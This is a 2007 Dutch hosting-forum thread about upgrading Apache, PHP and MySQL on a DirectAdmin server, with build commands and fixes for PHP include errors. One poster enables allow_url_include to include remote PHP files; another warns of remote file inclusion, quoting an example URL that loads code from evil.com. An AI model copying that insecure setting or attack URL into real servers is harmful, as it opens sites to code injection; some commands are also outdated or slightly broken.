PDA

Bekijk Volledige Versie : Apache, PHP en MySQl updaten



FunnyMedia
31/08/07, 22:43
Hi,

Ik ben voornemens mijn server volledig te updaten naar apache 2.x, php5.x en MySQL 5.x

Is hiervoor een handige howto te vinden?
daforum.nl en directadmin.com/forum geven vele opties maar niet een waar ik alles in 1 kan combineren.

Tips zijn welkom, zijn er dingen waar ik rekening mee moet houden bijvoorbeeld?
Overigens moet ik wel weer terug kunnen gaan als er bijvoorbeeld een hoop niet meer werkt

Ramon Fincken
31/08/07, 22:48
spare server / test server pakken als test en die upgraden kan al helpen :)

FunnyMedia
01/09/07, 13:18
Hi,

Dat is helaas dus niet mogelijk, ik ben geen hoster ofzo.
heb gewoon 1 losse server hangen in een DC, dus kan niet uitvoerig gaan testen.

Ramon Fincken
01/09/07, 13:19
ok... is iemand hiervoor inhuren geen betere optie dan?
Kost wat, maar dan is het wel meteen in orde.

update: vergeet de images/backups niet vantevoren :)

snaaps
01/09/07, 14:07
Upgraden naar Mysql kan er voor zorgen dat de databases niet meer correct zullen werken.

How to upgrade apache:


Ga naar de custom apache directory:
# cd /usr/local/directadmin/customapache/

Apache 2.x downloaden:
# ./build update_data_ap2

Converteren:
# ./build convert

Compile Apache 2.0.55:
# ./build apache_2

Omdat apache 2 andere configure nodig heeft moeten we ook php recompile (als je dingen zoals freetype etc mee wilt compile moet je eerst confige.php_ap2 editen!!)
# ./build php_ap2

zorgen dat mod frontpage en perl werkt onder apache 2:
# ./build mod_frontpage_ap2
# ./build mod_perl_ap2

Apache herstarten:
# service httpd restart



Howto upgrade PHP:


Download en installeer (indien nodig) DOMXML

Instaleer enkele noodzakelijke pakketjes op de server:
# yum install libgcrypt-devel libxslt-devel

Configureer de customapache script:
# nano /usr/local/directadmin/customapache/configure.php

Voeg de volgende regels toe:
NOOT: bij de laatse orginele regel een \ plaatsen!
--with-dom=/usr/lib \
--with-dom-exslt=/usr/lib \
--with-dom-xslt=/usr/lib
Bestand opslaan en sluiten:
CTRL + X

Download PHP5 naar de custom apache directory:
# cd /usr/local/directadmin/customapache
# wget http://ca.php.net/get/php-5.2.3.tar.gz/from/this/mirror

Pas het (custom) buidl script aan:
# nano build

Verander regel: PHP_VER=4.4.x
Naar: PHP_VER=5.2.3

Bouw PHP:
Apache 1.3.x (voor apache 1.3.x)
# ./build clean
# ./build php

Apache 2.x (voor apache 2.x)
# ./build clean
# ./build php_ap2

Pas het apache config bestand aan:
# nano /etc/httpd/conf/httpd.conf

Zoek naar:
LoadModule php4_module modules/libphp4.so
vervang door:
LoadModule php5_module modules/libphp5.so

Zoek naar:
AddModule mod_php4.c
vervang door:
AddModule mod_php5.c

Zoek naar:
<IfModule mod_dir.c>
DirectoryIndex index.html index.htm index.shtml index.php index.php4 index.php3 index.phtml index.cgi
</IfModule>

vervang door:

<IfModule mod_dir.c>
DirectoryIndex index.html index.htm index.shtml index.php index.php4 index.php5 index.php3 index.phtml index.cgi
</IfModule>

Zoek naar:

<IfModule mod_php4.c>
AddType application/x-httpd-php .inc .php .php4 .php3 .phtml
AddType application/x-httpd-php-source .phps
</IfModule>

vervang door:

<IfModule mod_php5.c>
AddType application/x-httpd-php .inc .php .php5 .php4 .php3 .phtml
AddType application/x-httpd-php-source .phps
</IfModule>

Sla het httpd.conf bestand op!

Kopieer de nieuwe php.ini bestand:
Maak eerst een backup van het oude bestand:
# /usr/local/lib/php.ini /usr/local/lib/php.ini.bak
# cp /usr/local/directadmin/customapache/php-5.2.3/php.ini-dist /usr/local/lib/php.ini

(Noot: toegevoegd instellingen als zend optimyzer, ioncube etc moeten opnieuw worden aangemaakt)

NOOT: controleer of de session save path aan staat in /usr/local/lib/php.ini
Zoek naar: session.save_path = "/tmp"
Contrleer of het ";" is verwijderd voor de regel, indien nodig verwijderen!

Restart Apache:
# service httpd restart


Update naar Mysql 5:
(zie noot bovenaan in dit topic, op eigen risico!)


Maak een nieuwe directory aan in de bestaande customapache directory:
# mkdir /usr/local/updatescript

Ga naar de aangemaakte directory:
# cd /usr/local/updatescript

Download het update script:
# wget http://tools.web4host.net/update.script

Chmod het bestand naar 755:
# chmod 755 update.script

Ok het script is nu geïnstalleerd op je server.
Gebruik de volgende commando's om te kunnen werken met het update script:
# ./update.script
Kies voor update mysql versie welke bij jouw server pas!


zie ook: http://www.ccchosting.nl/dedicated-servers/dedicated/howtos.html

FunnyMedia
01/09/07, 14:27
Hi,

Ik heb inmiddels alles geupdate en zo te zien gaat alles goed.
(Database blijft gevuld en login`s zijn bewaard gebleven)
Kortom de update is geslaagd.

1 klein ding heb ik nog wel last van namelijk de volgende error in PHP:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /home/USER/domains/DOMAIN.NL/public_html/index.php on line 73

Warning: include(http://www.DOMAIN-OTHER/balk.php) [function.include]: failed to open stream: no suitable wrapper could be found in /home/USER/domains/DOMAIN.NL/public_html/index.php on line 73

Warning: include() [function.include]: Failed opening 'http://www.DOMAIN-OTHER.NL/balk.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/USER/domains/DOMAIN.NL/public_html/index.php on line 73

in /usr/local/lib/php.ini staat allow_url_fopen op ON
Ook <?php phpinfo(); ?> geeft deze op ON
Het script wat ik vanaf een andere site wil includen (ook een site van mij) werkt wel goed op PHP5.2.4

iemand tips waar ik moet zoeken?

snaaps
01/09/07, 14:35
apache gerestart nadat je allow_url_fopen aan het gezet in php.ini?

Nielsvk
01/09/07, 14:36
Pak gewoon custombuild op het DA forum, dat werkt perfect. ;)

FunnyMedia
01/09/07, 14:54
@snaaps, deze wordt door DA al standaard aangezet.
Apache overigens gewoon een herstart gegeven.

@nicko: http://www.daforum.nl/forum/viewtopic.php?t=69 staat ook op help.directadmin.com en deze heb ik uitgevoerd. Helaas heb ik dit resultaat dus.

Tevens heb ik een probleem met Freetype installeren (opnieuw) zie ik.
Foutmelding:
Configuring SAPI modules
checking for AOLserver support... no
checking for Apache 1.x module support via DSO through APXS... configure: error: You have enabled Apache 1.3 support while your server is Apache 2. Please use the appropiate switch --with-apxs2
/usr/local/directadmin/customapache/configure.php: line 10: --with-freetype: command not found

*** There was an error while trying to configure php. Check the configure.php file

Ik heb de instructies genomen zoals ze op snaaps zijn site staan (goede site trouwens, staat bij de favo`s nu!!)

Iemand zin om voor mij "even in te loggen"
PM me dan svp.

Ramon Fincken
01/09/07, 15:13
om hier even op te reageren:


1 klein ding heb ik nog wel last van namelijk de volgende error in PHP:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /home/USER/domains/DOMAIN.NL/public_html/index.php on line 73

dat betekend dat je op regel 73 iets hebt als

include('http://www.site.nl/file.php');
of
include_once('http://www.site.nl/file.php');

dit is niet echt de beste oplossing om files te includen, als dat bestand op je domein staat gewoon relatief include:
include('./file.php');



update:

checking for Apache 1.x module support vi
je ziet dat hij naar apache 1.x zoekt, je had nu toch apache 2.x erop staan?

FunnyMedia
01/09/07, 15:17
@ Ramon, dat klopt, ik wil een php file van een ander domein includen in een index.php van een ander domein. Dit ging perfect voorheen (PHP versie 4.4.6) maar in PHP 5.2.4 werkt dit blijkbaar niet meer.

Verder heb ik nog steeds een extern iemand nodig voor mijn freetype install "probleem" i.c.m PHP

TOEVOEGING: Overigens werkt Freetype NU wel, in configure.php moet je het een en ander toevoegen.
Tevens moet je aanpassen ALS je apache2 draait: --with-apxs NAAR --with-apxs2

Nu alleen het include verhaal nog :-(

X-Hosted
02/09/07, 12:09
Het include verhaal had je de juiste oplossing toch al voor gekregen;


apache gerestart nadat je allow_url_fopen aan het gezet in php.ini?

Dat zou moeten werken hoor :)

Nielsvk
02/09/07, 12:11
@snaaps, deze wordt door DA al standaard aangezet.
Apache overigens gewoon een herstart gegeven.

@nicko: http://www.daforum.nl/forum/viewtopic.php?t=69 staat ook op help.directadmin.com en deze heb ik uitgevoerd. Helaas heb ik dit resultaat dus.

Tevens heb ik een probleem met Freetype installeren (opnieuw) zie ik.
Foutmelding:
Configuring SAPI modules
checking for AOLserver support... no
checking for Apache 1.x module support via DSO through APXS... configure: error: You have enabled Apache 1.3 support while your server is Apache 2. Please use the appropiate switch --with-apxs2
/usr/local/directadmin/customapache/configure.php: line 10: --with-freetype: command not found

*** There was an error while trying to configure php. Check the configure.php file

Ik heb de instructies genomen zoals ze op snaaps zijn site staan (goede site trouwens, staat bij de favo`s nu!!)

Iemand zin om voor mij "even in te loggen"
PM me dan svp.


custombuild geen customapache :)

http://www.directadmin.com/forum/showthread.php?t=19221

Kenneth
02/09/07, 12:16
@ Ramon, dat klopt, ik wil een php file van een ander domein includen in een index.php van een ander domein. Dit ging perfect voorheen (PHP versie 4.4.6) maar in PHP 5.2.4 werkt dit blijkbaar niet meer.

Verder heb ik nog steeds een extern iemand nodig voor mijn freetype install "probleem" i.c.m PHP

TOEVOEGING: Overigens werkt Freetype NU wel, in configure.php moet je het een en ander toevoegen.
Tevens moet je aanpassen ALS je apache2 draait: --with-apxs NAAR --with-apxs2

Nu alleen het include verhaal nog :-(

daarom zit er ook een configure.php_ap2 bij :)

tevens zit er een fout in snaaps ze uitleg.. daardoor krijg je ook die errors van '/usr/local/directadmin/customapache/configure.php: line 10: --with-freetype: command not found'

Omdat de configure options op een nieuwe line zitten moet er een \ elke regel (muv de laatste)

daveww
02/09/07, 18:22
** Sorry ik zag dat het je al gelukt was, graag dit bericht verwijderen.

FunnyMedia
03/09/07, 06:14
Hi,

Zoals ik al eerder vermeld heb, alles is gelukt.
Voor het include probleem is ook een oplossing welke NIET vernoemd is in dit topic...
add: allow_url_include = On into the php.ini
Doe dit onder de volgende regels:
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On
allow_url_include = On

En het zal gaan werken!
Succes er mee in ieder geval

Ramon Fincken
03/09/07, 08:39
Beste Funnymedia,

je oplossing is al ten dele gegeven :)
http://www.webhostingtalk.nl/directadmin/123555-apache-php-en-mysql-updaten.html#post889706
als je die allow_url_fopen had opengezet had je ook die allow_url_include gevonden ..
zie ook : http://www.google.nl/search?hl=nl&client=firefox-a&channel=s&rls=org.mozilla%3Anl%3Aofficial&hs=HQ5&q=apache+include+%22Warning%3A+include%28%29+%5Bfu nction.include%5D%3A+URL+file-access+is+disabled+in+the+server+configuration+in% 22&btnG=Zoeken&meta=


Met tenslotte de opmerking dat een remote fopen of include niet de netste manier van scripten is.
houd er rekening mee dat dit soort geintjes voor exploits wordt gebruikt door zoiets als
http://www.jedomein.nl/index.php?p=http://www.evil.com/evil_code.php
aan te roepen.

Succes met je sites


Ramon

FunnyMedia
03/09/07, 10:38
Hi Ramon,

Toch ben ik het niet helemaal met je eens....
Er wordt gesproken in dit topic over allow_url_include door mij, wat toegevoegd moet worden in de php.ini,
Dit stond als je de update uitgevoerd heb zoals in de 5e topic (door Snaaps) in Howto upgrade PHP: niet geschreven.
Ik schreef al erder dat allow_url_fopen al op On stond.
Iets wat er niet in staat (de allow_url_include in de php.ini) kan ik dan ook niet controleren helaas.
Uiteraard als dit er in stond was dit hele probleem GEEN probleem.
Google had ik ook wel gebruikt, maar mijn informatie haal ik in dit soort gevallen liever hier of op directadmin.com/forum.
Zitten toch meer de experts ;-)

Voor wat betreft scripting, ik gebruik het puur om mijn veel gebruikt scripts op meerdere pagina`s te laten tonen.
Verder heb ik geen formpjes etc.
Ik kan natuurlijk wel op elke pagina het zelfde script zetten, dan moet ik alleen per script 1 database gaan gebruiken.
Dit was makkelijker, maar ik zal er aan denken als ik de boel ga updaten.
Voorlopig werkt het weer, en heeft het inmiddels een jaar of 3 gewerkt zonder dat ik er ooit iets vervelends mee gehad heb.

Wido
03/09/07, 14:58
Hi,

Zoals ik al eerder vermeld heb, alles is gelukt.
Voor het include probleem is ook een oplossing welke NIET vernoemd is in dit topic...
add: allow_url_include = On into the php.ini
Doe dit onder de volgende regels:
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On
allow_url_include = On

En het zal gaan werken!
Succes er mee in ieder geval

Waarom zet je "allow_url_include" aan? Heb je wel bekeken waarom dit standaard uit staat in PHP?